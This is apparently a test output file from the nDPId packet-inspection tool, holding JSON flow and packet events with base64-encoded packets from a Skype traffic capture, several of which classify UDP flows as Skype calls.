+00436{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":535622,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8yIxAAEAGJu7AqAEi1cezr8NznFXnJeT4bf1jqoAYECrpyQAAAQEICj4iyh5O2zlegPUYPB\/96j4="} +00436{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":977400,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8JSJAAEAGyljAqAEi1cezr8NznFXnJeT4bf1jqoAYECroDwAAAQEICj4iy9hO2zlegPUYPB\/96j4="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":595,"source":"skype.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1431969658978,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":50036,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":978927,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAyihAAEAG3WDAqAEinTg0LMN0AbuAxvN6AAAAALAC\/\/9gYQAAAgQFtAEDAwUBAQgKPiLL2QAAAAAEAgAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":596,"source":"skype.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1431969658979,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":50037,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":979059,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAnpdAAEAGBHXAqAEinTc4qsN1AbtlArMMAAAAALAC\/\/+4FQAAAgQFtAEDAwUBAQgKPiLL2QAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":597,"source":"skype.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1431969658979,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":50038,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969658,"pkt_ts_usec":979286,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABACelAAEAGT0HAqAEinTeCjMN2AbvInJj+AAAAALAC\/\/8kpgAAAgQFtAEDAwUBAQgKPiLL2QAAAAAEAgAA"} +00436{"flow_id":51,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":21373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GolAAEAGPqXAqAEinTeCjMNynGH\/hzYDZw7DuIAYECnePwAAAQEICj4izANOvfULJJFwCjegzGQ="} +00434{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":57584,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kv1AAEAGFJDAqAEinTg0LMNwnGCx3l+sHyRlkIAYEClolAAAAQEICj4izCdMZC+5IVzDseW9I30="} +00436{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":109811,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYi6dN4KMwKgBIgG7w3aulZl7yJyY\/6ASOJBvwQAAAgQFrAQCCApOvfZ9PiLL2QEDAwk="} +00424{"flow_id":65,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":109933,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0l91AAEAGwVjAqAEinTeCjMN2AbvInJj\/rpWZfIAQECzGaQAAAQEICj4izFtOvfZ9"} +00524{"flow_id":65,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":110024,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8xd1AAEAGkxDAqAEinTeCjMN2AbvInJj\/rpWZfIAYECzJ7wAAAQEICj4izFtOvfZ9gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIDTaLmWj\/TVAgtAsS5HTE0a"} +00435{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":127778,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGsBCdNziqwKgBIgG7w3W+IGdaZQKzDaASOJBudwAAAgQFrAQCCApNea8RPiLL2QEDAwk="} +00423{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":127881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0v5BAAEAG44fAqAEinTc4qsN1AbtlArMNviBnW4AQECzFDgAAAQEICj4izGxNea8R"} +00525{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":127997,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8REFAAEAGXo\/AqAEinTc4qsN1AbtlArMNviBnW4AYECxHFAAAAQEICj4izGxNea8RgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBDGKnG\/6TFMnvwoV63\/D1K"} +00436{"flow_id":50,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":142955,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8milAAEAGCOfAqAEinTc4qsNxnE+r6BLEPu7rjYAYECq0EQAAAQEICj4izHpNea2iMpsmfs9xo5c="} +00437{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":189187,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtI2dODQswKgBIgG7w3TcDZ\/TgMbze6ASOJA\/bQAAAgQFrAQCCApMZDEWPiLL2QEDAwk="} +00423{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":189296,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0y0dAAEAG3E3AqAEinTg0LMN0AbuAxvN73A2f1IAQECyVyAAAAQEICj4izKhMZDEW"} +00522{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":189409,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8knZAAEAGFNfAqAEinTg0LMN0AbuAxvN73A2f1IAYECyXTgAAAQEICj4izKhMZDEWgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAICzyJn2b1S1YuugkY4nrC16"} +00423{"flow_id":65,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":238081,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0b+FAADcG8lSdN4KMwKgBIgG7w3aulZl8yJyZR4AQAB3WEAAAAQEICk699p0+Isxb"} +00455{"flow_id":65,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":238148,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMea9AAEAG327AqAEinTeCjMN2AbvInJlHrpWZfIAYECxkFwAAAQEICj4izNhOvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00423{"flow_id":64,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":271845,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0yG1AADMG56qdNziqwKgBIgG7w3W+IGdbZQKzVYAQAB3UsAAAAQEICk15rzY+Isxs"} +00523{"flow_id":64,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":271940,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6JbJAAEAGfSDAqAEinTc4qsN1AbtlArNVviBnW4AYECzzfAAAAQEICj4izPlNea82lrtEvF7Syi3sYudbWmm1LLmltdXITy9EZvRGZ4\/xmZ+XSmldmKNIhY33FGOH7bkZm8kH56oaXL6ossqblsc6QCTpmqw22A=="} +00438{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":272005,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAcP8AAEARhjrAqAEiwKgBAcALADUALIa2zTYBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00438{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":616,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":272095,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAB8QAAEAR73XAqAEiwKgBAeA+ADUALBXIHdcBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":617,"source":"skype.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":617,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":392250,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3kJUAAEARCA3AqAEiQTffEjLdgQkAIzBxm84CB+tg2yEaM9\/bL8TBCQEYokW3ou6uIFeA"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":617,"source":"skype.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"skype.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.154","src_port":13021,"dst_port":40005,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":392251,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBYQoAAEAROAbAqAEinTeCmjLdnEUALTFnm9ACrELw0MyN5alTGXUohI4skjQwNKD1mI1L+u5IA2eq73xPAw=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":618,"source":"skype.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.154","src_port":13021,"dst_port":40005,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":619,"source":"skype.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.45","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":619,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":392325,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5DEcAAEARjD7AqAEiQTffLTLdnEwAJedsm9ICSKWpAVcx8I7JZ8adPdtcTNxD1Y7ygdStLzI="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":619,"source":"skype.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.45","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":620,"source":"skype.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.24","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":392325,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyadkAAEARfcfAqAEinTg0GDLdnEEAHr+2m9QCPz6lPkIa5+HaiHK3kAac8KWOvw=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":620,"source":"skype.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.24","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":621,"source":"skype.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.45","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":392326,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1BWcAAEAR4iHAqAEinTg0LTLdnEwAIdjym9YCeMy7FyJwEm6ud1zY3LUeAZMSqKDeqQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":621,"source":"skype.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.45","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00424{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":400916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rp5AADMGBfedODQswKgBIgG7w3TcDZ\/UgMbzw4AQAB2lWgAAAQEICkxkMUs+Isyo"} +00490{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":401033,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABimbtAAEAGDazAqAEinTg0LMN0AbuAxvPD3A2f1IAYECwISQAAAQEICj4izXpMZDFLCID\/ssOnhCQbPdgraKv5X6X6LEBl4VvsbMI2yvwLdbH5FbeEibgiwFjV2Yetww=="} +00443{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":426587,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDMrcAAEARxH\/AqAEiwKgBAdmfADUAL7TEHKMBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00442{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":426675,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDHhYAAEAR2SDAqAEiwKgBAc5yADUAL8ad+vYBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00437{"flow_id":57,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":665461,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8aKRAAEAGhtbAqAEi1cezr8NznFXnJeT4bf1jqoAYECrlZQAAAQEICj4izoJO2zlegPUYPB\/96j4="} +00434{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":709919,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7760AAEARB5HAqAEiwKgBAf+SADUAJwCOlegBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00434{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":710003,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA73OUAAEARGlnAqAEiwKgBAdR8ADUAJ+nL8sABAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00439{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":710038,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+cbQAAEARhYfAqAEiwKgBAcKBADUAKu5ghe0BAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAAAEAAQ=="} +00439{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":630,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":710145,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+VqEAAEARoJrAqAEiwKgBAf4VADUAKsDYd8YBAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAABwAAQ=="} 